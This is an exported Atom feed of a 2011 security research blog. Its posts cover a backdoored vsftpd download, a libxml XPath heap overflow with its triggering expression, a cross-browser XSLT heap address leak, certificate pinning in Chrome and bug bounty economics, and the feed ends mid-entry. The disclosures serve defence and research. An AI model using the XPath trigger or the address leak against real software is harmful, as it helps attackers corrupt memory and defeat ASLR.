<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3024470480937744884</id><updated>2012-01-20T02:36:50.342-08:00</updated><title type='text'>Security</title><subtitle type='html'>Hacking everything, by Chris Evans / scarybeasts</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>70</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-8002854809504309795</id><published>2011-07-03T02:10:00.000-07:00</published><updated>2011-07-03T03:15:34.341-07:00</updated><title type='text'>Alert: vsftpd download backdoored</title><content type='html'>&lt;i&gt;[With thanks to Mathias Kresin for being the first to notice]&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;An incident, what fun! Earlier today, I was alerted that a vsftpd download from the master site (vsftpd-2.3.4.tar.gz) appeared to contain a backdoor:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pastebin.com/AetT9sS5"&gt;http://pastebin.com/AetT9sS5&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The bad tarball is (sha256sum):&lt;br /&gt;&lt;code&gt;&lt;br /&gt;2a4bb16562e0d594c37b4dd3b426cb012aa8457151d4718a5abd226cef9be3a5  vsftpd-2.3.4.tar.gz&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;And, of course, the GPG signature notices:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;$ gpg ./vsftpd-2.3.4.tar.gz.asc&lt;br /&gt;gpg: Signature made Tue 15 Feb 2011 02:38:11 PM PST using DSA key ID 3C0E751C&lt;br /&gt;gpg: BAD signature from "Chris Evans &amp;lt;chris@scary.beasts.org&amp;gt;"&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Check your signatures :)&lt;br /&gt;&lt;br /&gt;Ideally, you'll see something like:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;gpg: Signature made Tue 15 Feb 2011 02:38:11 PM PST using DSA key ID 3C0E751C&lt;br /&gt;gpg: Good signature from "Chris Evans &amp;lt;chris@scary.beasts.org&amp;gt;"&lt;br /&gt;Primary key fingerprint: 8660 FD32 91B1 84CD BC2F  6418 AA62 EC46 3C0E 751C&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Signatures aside, I also took the liberty of moving most of the vsftpd site and latest download to a hosting provider I have more faith in:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://security.appspot.com/vsftpd.html"&gt;https://security.appspot.com/vsftpd.html&lt;/a&gt;&lt;br /&gt;&lt;a href="https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz"&gt;https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz&lt;/a&gt;&lt;br /&gt;&lt;a href="https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz.asc"&gt;https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz.asc&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The backdoor payload is interesting. In response to a :) smiley face in the FTP username, a TCP callback shell is attempted. There is no obfuscation. More interestingly, there's no attempt to broadcast any notification of installation of the bad package. So it's unclear how victims would be identified; and also pretty much guaranteed that any major redistributor would notice the badness. Therefore, perhaps someone was just having some lulz instead of seriously trying to cause trouble.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-8002854809504309795?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/8002854809504309795/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=8002854809504309795' title='29 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8002854809504309795'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8002854809504309795'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' title='Alert: vsftpd download backdoored'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>29</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-3161767451793548158</id><published>2011-05-27T15:11:00.000-07:00</published><updated>2011-05-28T14:51:56.307-07:00</updated><title type='text'>libxml vulnerability and interesting integer issues</title><content type='html'>A while ago, I was playing with grammar-based XPath fuzzing and I found and fixed an interesting libxml bug. The commit, for the curious, is here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://git.gnome.org/browse/libxml2/commit/?id=d7958b21e7f8c447a26bb2436f08402b2c308be4"&gt;http://git.gnome.org/browse/libxml2/commit/?id=d7958b21e7f8c447a26bb2436f08402b2c308be4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The trigger for this bug was the XPath expression: &lt;code&gt;//@*/preceding::node()/ancestor::node()/ancestor::foo['foo']&lt;/code&gt; which for some reason I haven't yet analyzed leads to a pathologically large collection of nodes within libxml.&lt;br /&gt;&lt;br /&gt;As the nodeset is grown and grown, things get interesting when the system runs out of memory whilst trying to double the size of the nodeset:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;        cur-&amp;gt;nodeMax *= 2;&lt;br /&gt;        temp = (xmlNodePtr *) xmlRealloc(cur-&amp;gt;nodeTab, cur-&amp;gt;nodeMax *&lt;br /&gt;                                         sizeof(xmlNodePtr));&lt;br /&gt;        if (temp == NULL) {&lt;br /&gt;            xmlXPathErrMemory(NULL, "growing nodeset\n");&lt;br /&gt;            return;&lt;br /&gt;        }&lt;br /&gt;        cur-&amp;gt;nodeTab = temp;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Notice how the max number of allocated nodes in the "cur" structure is doubled &lt;i&gt;before&lt;/i&gt; doing, checking and assigning the reallocation. This means that in the event of a realloc() failure, one of two things will happen:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;If you malloc() implementation exits the process upon alloc failure (such as Chromium), lucky you! You dodged a bullet.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;More typically, you'll exit this function with "cur" in an inconsistent state, i.e. it indicates it can hold more data than it really can.&lt;/li&gt;&lt;/ul&gt;Despite the call to xmlXPathErrMemory(), XPath processing continues with "cur" in an inconsistent state, leading to a heap-based buffer overflow.&lt;br /&gt;&lt;br /&gt;The fix is to only update the structure's "max size" member after a successful expansion of the underlying array. libxml already did this in most places, using a paradigm such as:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;        temp = (xmlNodePtr *) xmlRealloc(cur-&amp;gt;nodeTab, cur-&amp;gt;nodeMax * 2 *&lt;br /&gt;                                         sizeof(xmlNodePtr));&lt;br /&gt;        if (temp == NULL) {&lt;br /&gt;            xmlXPathErrMemory(NULL, "growing nodeset\n");&lt;br /&gt;            return;&lt;br /&gt;        }&lt;br /&gt;        cur-&amp;gt;nodeMax *= 2;&lt;br /&gt;        cur-&amp;gt;nodeTab = temp;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;... which leads us nicely into part 2:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Interesting integer issues&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Even with the fix applied, there are some really interesting integer issues going on here. The astute will have noticed a possible integer overflow in the argument to xmlRealloc(), which is a general hazard with the common pattern of "double the size of the array if we ran out of room". Digging in to more detail, we see a fascinating difference in behaviour between 32-bit and 64-bit builds and maybe even learn a thing or two about integer promotion rules.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;On 32-bit builds&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;First, let's quickly note that &lt;code&gt;cur-&amp;gt;nodeMax&lt;/code&gt; is of type &lt;code&gt;int&lt;/code&gt;. That's likely the wrong type for a couple of reasons, but we will run with it for our analysis.&lt;br /&gt;On 32-bit, sizeof(int) == sizeof(size_t) so we're looking at a fairly basic possible integer overflow. But can it ever be triggered? Does the 32-bit address space offer enough room?&lt;br /&gt;The case with the least space requirements for the 32-bit address space is the case where we already have a 2GB (2^31) allocation and are attempting to double it -- leading to an integer overflow at 2^32 and an attempt to realloc() to 0 bytes.&lt;br /&gt;But to arrive at the 2^31 allocation, we need to have a 1GB -&gt; 2GB realloc() succeed first.&lt;br /&gt;This is actually unlikely on 32-bit Linux -- which typically has just the lower 3GB of address space usable. 1GB + 2GB + program text etc. won't simultaneously fit, so the only way 1GB -&gt; 2GB realloc() will succeed is if the allocation can be expanded in-place. glibc malloc() will typically use mmap() for large allocations, and put them towards the top of address space in order to reserve room for standard heap expansion. So realloc() on such an mmap()ed chunk typically won't have room to mremap() to a larger size.&lt;br /&gt;All in all, this seems to be a hard-to-exploit bug, unless the attacker has a lot of control over other allocations (to influence the placement of the 1GB mmap() lower down in the address space and then free() whatever chunks were needed to do that, before the realloc()). Further research might be merited for other allocators (e.g. tcmalloc) and 32-bit-process-on-64-bit-host (&gt;3GB address space available).&lt;br /&gt;&lt;br /&gt;&lt;u&gt;On 64-bit builds&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;With 64-bit, we have a much larger address space. This means that we should be able to successfully allocate the growing array -- and the objects contained within it -- right up until the fault condition.&lt;br /&gt;&lt;br /&gt;The fault condition is that &lt;code&gt;cur-&amp;gt;nodeMax * 2&lt;/code&gt; will eventually become negative. This negative &lt;code&gt;int&lt;/code&gt; is then multiplied by &lt;code&gt;sizeof(xmlNodePtr)&lt;/code&gt;. &lt;b&gt;Remember that sizeof() returns a size_t, so we have an int -&gt; size_t promotion at this point&lt;/b&gt;. This will result in sign-extension to a 64-bit size, which will end up massive and the system allocator will not be able to satisfy an allocation of that size. Therefore, a lucky lack of impact on 64-bit.&lt;br /&gt;&lt;br /&gt;Finally, note that there's a real subtlety in the ordering of the expression given to xmlMalloc():&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;cur-&amp;gt;nodeMax * 2 * sizeof(xmlNodePtr)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Things would be very different if we had:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;cur-&amp;gt;nodeMax * sizeof(xmlNodePtr) * 2&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Promotions for left-to-right operator sequences are done in strict left-to-right ordering, as opposed to some kind of overall max(precedence) promotion. Therefore, in this latter case, the initial negative-related failure will be avoided; we're looking at:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;(int) 2^30 -&amp;gt; (int) -(2^31) -&amp;gt; (size_t) 0xffffffff80000000 * 8 == (size_t) 0xfffffffc00000000&lt;br /&gt;vs.&lt;br /&gt;(int) 2^30 -&amp;gt; (size_t) 2^30 * 8 -&amp;gt; (size_t) 2^30 * 8 * 2 == (size_t) 2^34&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Seeing that &lt;code&gt;nodeNr&lt;/code&gt; is just an &lt;code&gt;int&lt;/code&gt;, we would likely see subsequent memory corruption if &lt;code&gt;nodeNr&lt;/code&gt; goes subsequently negative after its increment in a statement such as &lt;code&gt;cur-&amp;gt;nodeTab[cur-&amp;gt;nodeNr++] = xmlXPathNodeSetDupNs(node, ns);&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-3161767451793548158?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/3161767451793548158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=3161767451793548158' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3161767451793548158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3161767451793548158'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2011/05/libxml-vulnerability-and-interesting.html' title='libxml vulnerability and interesting integer issues'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-2340572691377345632</id><published>2011-05-25T03:57:00.000-07:00</published><updated>2011-05-25T05:16:56.254-07:00</updated><title type='text'>Bug bounties vs. black (&amp; grey) markets</title><content type='html'>I'm just back from the fun that was HiTB Amsterdam 2011. (Plug: you should check out one of the HiTB series if you haven't yet; Dhillon and crew invariably put a good, intimate conf together).&lt;br /&gt;&lt;br /&gt;I sat on the day 2 keynote panel on "The economics of vulnerabilities". As usual, talking about this topic was great fun and the audience asked some great questions. Predictably, the topic strayed on to black market sales as an interesting sub-discussion. With 6 people on the panel, it was hard to cover this in the detail it deserves, and I think a few important subtleties were missed. I'll try to cover some of them here.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Vulnerability reward programs do not "buy" bugs, nor do they aim to compete with the black market&lt;/b&gt;&lt;br /&gt;Remember that the black (or grey) markets buy exploits, not vulnerabilities. The latter are just the first step towards exploits, which are hard to write on modern software. Also remember that reward programs are not buying even vulnerabilities. Typically, they are a "thank you" mechanism for talented researchers who used their skills to make things better.&lt;br /&gt;Also, there's often a separation of which researchers participate where, along ethics lines; see below.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;A vulnerability reward program &lt;i&gt;will&lt;/i&gt; indirectly compete with black market sales&lt;/b&gt;&lt;br /&gt;It's interesting to note that a reward program doesn't have to outbid dubious markets in order to have a benefit in this area. These days, there's a lot of independent rediscovery of the same vulnerabilities -- ZDI quoted 22 "collisions" for the most recent year.&lt;br /&gt;So any motivation you can provide for white hats to discover vulnerabilities will inevitably kill the occasional black market vulnerability.&lt;br /&gt;A quick story in support: the WebKit vulnerability used by VUPEN to pwn Safari at this years' pwn2own competition was independently reported to the Chromium project by researcher Martin Barbella. Thanks to Inferno's lightning quick fix, Chrome entered pwn2own without that bug. Martin, of course, received a $1000 Chromium Security Reward (on top of all his others).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Black / grey market sales are a dangerous alternative to consider&lt;/b&gt;&lt;br /&gt;Each researcher has to set their own ethics, of course. Hopefully, most of us get into this industry to make users safer and software more secure. Aside from reward programs and ZDI, there's also a large number of well-paid security jobs sponsored by corporations, so no need to start selling exploits to feed the family.&lt;br /&gt;If you sell an exploit to someone, it's basically going to be used to exploit end users of the software. This could harm a lot of people if the target is mass malware for financial gain. Or it could seriously harm some targeted individuals if a government of dubious human rights commitment gets their hands on it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;"Credit", whilst important, is not a full replacement for a monetary reward&lt;/b&gt;&lt;br /&gt;To be clear about it: if you launch a vulnerability reward program, you will receive more vulnerability reports from a wider range of researchers. The power of credit and prestige is often cited as an argument to not launch a reward program, but the fact remains that you &lt;i&gt;will&lt;/i&gt; get more reports if you have a program in place. And as long as you have a culture of fixing security bugs promptly, your users will be safer thanks to having a reward program.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-2340572691377345632?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/2340572691377345632/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=2340572691377345632' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2340572691377345632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2340572691377345632'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2011/05/bug-bounties-vs-black-grey-markets.html' title='Bug bounties vs. black (&amp; grey) markets'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-8442145310424662827</id><published>2011-04-27T00:48:00.000-07:00</published><updated>2011-05-04T18:59:28.622-07:00</updated><title type='text'>Fiddling with Chromium's new certificate pinning</title><content type='html'>Over the past few years, there have been various high-profile incidents and concerns with the Certificate Authority-based infrastructure that underpins https connections. Various different efforts are underway to tackle the problem; many are enumerated here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://googleonlinesecurity.blogspot.com/2011/04/improving-ssl-certificate-security.html"&gt;http://googleonlinesecurity.blogspot.com/2011/04/improving-ssl-certificate-security.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And in terms of things baked directly into the browser, we have things like Firefox's Certificate Patrol add-on:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/certificate-patrol/"&gt;https://addons.mozilla.org/en-US/firefox/addon/certificate-patrol/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;My colleague Adam Langley summarized some features and directions we've been exploring in Chromium recently, it's a good read:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.imperialviolet.org/2011/05/04/pinning.html"&gt;http://www.imperialviolet.org/2011/05/04/pinning.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;These features can also be controlled via the command-line, so to give a glimpse of the future, I present to you:&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;b&gt;Twitter Like A Boss&lt;/b&gt;&lt;/h3&gt;Run Chrome (v12 dev channel or newer required) with a command line like this:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;google-chrome --user-data-dir=/tmp/chrome_twitter --incognito --disable-plugins --proxy-server=localhost:1 --proxy-bypass-list=https://twitter.com,https://*.twitter.com,https://*.twimg.com --hsts-hosts='{"df0sSkr4gOg4VK8d/NNTAWFtAN/MjCgPCJ5ml+ucdZE=":{"expiry":2000000000.0,"include_subdomains":true,"mode":"strict","public_key_hashes":["sha1/TXoScD1SXPfhmRO8ACTPrkXD9Yk="]},"tGm+XsbBPK211uMWtg2k071vijQkuVLvd62QzfNFol8=":{"expiry":2000000000.0,"include_subdomains":true,"mode":"strict","public_key_hashes":["sha1/06curQTaPH4PGumbNSeL79da23s="]},"wZU3atDOXaxKkaRgSdlWwB4UYjulRq46SGnIBij5I98=":{"expiry":2000000000.0,"include_subdomains":true,"mode":"strict","public_key_hashes":["sha1/O6hykhOmHJ5HQUREC0DTDeu6+mE="]}}' --user-agent='LIKE A BOSS'&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;(You'll need to edit a couple of things such as the command name and the temp directory if you're on Windows or Mac).&lt;br /&gt;&lt;br /&gt;If you wish to connect securely to Twitter, well it pretty much does so... like a boss. It does the following things and defends against the following situations:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;The &lt;code&gt;--user-data-dir&lt;/code&gt; flag loads Twitter in a new profile so that you get a new Chrome instance &lt;b&gt;and therefore new cookie jar&lt;/b&gt;. Therefore, carelessly clicked links in your other browsing windows won't get you XSSed.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The &lt;code&gt;--incognito&lt;/code&gt; flag applies the usual incognito changes; notably, things like profile photos won't be cached to disk; might be useful if you're an activist.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;code&gt;--disable-plugins&lt;/code&gt; is strictly unnecessary since Twitter generally isn't using plug-ins. However, any "secure" command line should likely include that flag.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The &lt;code&gt;--proxy-server=localhost:1&lt;/code&gt; is a good defensive catch-all which will stop any site traffic being sent by your browser unless it is whitelisted. Specifically, a &lt;code&gt;http://bit.ly/&lt;/code&gt; link to an XSS payload won't work on you. (You'll need to paste such links into an alternate browser which shouldn't be logged in to Twitter). This will also stop non-pinned https requests going out (which might otherwise compromise the integrity of the main page). Mixed-content bugs, cookie forcing and failure to mark cookies "Secure" will also be mitigated.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;code&gt;--hsts-hosts&lt;/code&gt; is the magic. It locks twitter.com, api.twitter.com and twimg.com such that SSL traffic from/to Twitter will only be accepted if the leaf SSL certificate's public key is exactly what we expect. It's called "certificate pinning", and along with HSTS, it defends against &lt;i&gt;any&lt;/i&gt; compromised root CA, Comodo-gate, Tunisia-like sslstrip attacks, and the "evil country owns firewall + CA" situation.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;code&gt;--user-agent='LIKE A BOSS'&lt;/code&gt; is strictly optional, depending on your mood.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The above command line isn't finished. Although Twitter seems to run fine, there are under-the-hood failures to &lt;code&gt;scribe.twitter.com&lt;/code&gt; and other places because I haven't added the correct certificate pin for that host. The above will break if any of the leaf certificate public keys change (this doesn't necessarily happen on expiry rollover but may otherwise happen for various reasons).&lt;br /&gt;&lt;br /&gt;Hopefully this demo is compelling. The plan is to push this technology more and more under the covers so that it happens for less technical users who have an empty command line!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-8442145310424662827?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/8442145310424662827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=8442145310424662827' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8442145310424662827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8442145310424662827'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2011/04/fiddling-with-chromiums-new-certificate.html' title='Fiddling with Chromium&apos;s new certificate pinning'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-6483071935887850597</id><published>2011-03-09T10:10:00.000-08:00</published><updated>2011-03-09T13:48:41.949-08:00</updated><title type='text'>Multi-browser heap address leak in XSLT</title><content type='html'>It's not often that I find a bug that affects multiple different codebases in the same way, but here is an interesting info-leak bug that is currently unpatched in Firefox, Internet Explorer and Safari.&lt;br /&gt;&lt;br /&gt;I'm releasing it now for a few reasons:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;The bug was already publicly noted &lt;a href="http://git.gnome.org/browse/libxslt/commit/?id=ecb6bcb8d1b7e44842edde3929f412d46b40c89f"&gt;here&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;This bug cannot damage anyone in and of itself; it's a low severity info-leak that does not corrupt anything. It needs to be paired with other bugs, perhaps as an exploit aid against ASLR.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;This is a rare and unique opportunity to directly compare vendor responses and response times for a near-identical bug. It's nice that this is a lower-severity issue as all vendors tend to treat critical issues with at least some urgency; lower severity issues serve as a better differentiator.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;b&gt;The bug&lt;/b&gt;&lt;br /&gt;The bug is in the generate-id() XPath function, and is sometimes used in XSL transforms. Here's an web page that simply calls generate-id() and renders the result as a web page:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://cevans-app.appspot.com/static/genid.xml"&gt;https://cevans-app.appspot.com/static/genid.xml&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Let's see how this renders in different browsers:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Firefox&lt;/b&gt; (64-bit Linux)&lt;br /&gt;&lt;code&gt;id0x00007fbac51c1000&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;There is no "obfuscation" that this is a raw heap address. Since Firefox is open source, we can go and look at the source code to find that indeed, the string is generated from a pointer (txXPathNodeUtils::getXSLTId):&lt;br /&gt;&lt;pre&gt;const char gPrintfFmt[] = "id0x%016p";&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;Internet Explorer 8&lt;/b&gt; (Windows 7)&lt;br /&gt;&lt;code&gt;IDAW0MLB&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Doesn't look like a heap address, does it? If, however, you strip off the "ID" prefix and treat the string as a [A-Z0-5] base32 encoded "little endian" string, you resolve to a nice heap address. At that address is a pointer in msxml.dll, possibly the address of a vtable for some internal xml node class.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Safari 5&lt;/b&gt; (Mac OS X)&lt;br /&gt;&lt;code&gt;id35865226&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Also does not immediately look like a heap address, but libxslt is doing a simple transform on a heap address:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    val = (unsigned long)((char *)cur - (char *)0);&lt;br /&gt;    val /= sizeof(xmlNode);&lt;br /&gt;    sprintf((char *)str, "id%ld", val);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;Opera&lt;/b&gt;&lt;br /&gt;&lt;code&gt;o14022440&lt;/code&gt;&lt;br /&gt;&lt;code&gt;o2148150600&lt;/code&gt;&lt;br /&gt;These object ids bounce around all over the place. I don't know what is going on so I'm not making the claim that Opera is affected.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Chrome&lt;/b&gt;&lt;br /&gt;Latest stable Chrome (Chrome 10) is not affected. It has been removed from the "time to fix" competition in order to keep things fair.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It's on!! Who will fix it first and who will be the security laggard? Updates to be provided via Twitter: &lt;a href="http://twitter.com/#!/scarybeasts"&gt;@scarybeasts&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-6483071935887850597?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/6483071935887850597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=6483071935887850597' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6483071935887850597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6483071935887850597'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2011/03/multi-browser-heap-address-leak-in-xslt.html' title='Multi-browser heap address leak in XSLT'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-3522950929077422910</id><published>2011-03-08T20:34:00.000-08:00</published><updated>2011-03-08T20:45:08.699-08:00</updated><title type='text'>Busy Chrome day...</title><content type='html'>I did a bunch of fairly interesting things with my corporate hat on today (not to be confused with any of my personal research ;-)&lt;br /&gt;&lt;br /&gt;Firstly, Chrome 10 went out with a record $16k+ series of rewards. It's continually humbling to see such a wide range of researchers and a wide range of bug categories!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://googlechromereleases.blogspot.com/2011/03/chrome-stable-release.html"&gt;http://googlechromereleases.blogspot.com/2011/03/chrome-stable-release.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Also, there are some nice new security pieces in Chrome 10. I blogged about some of these:&lt;br /&gt;&lt;br /&gt;&lt;a 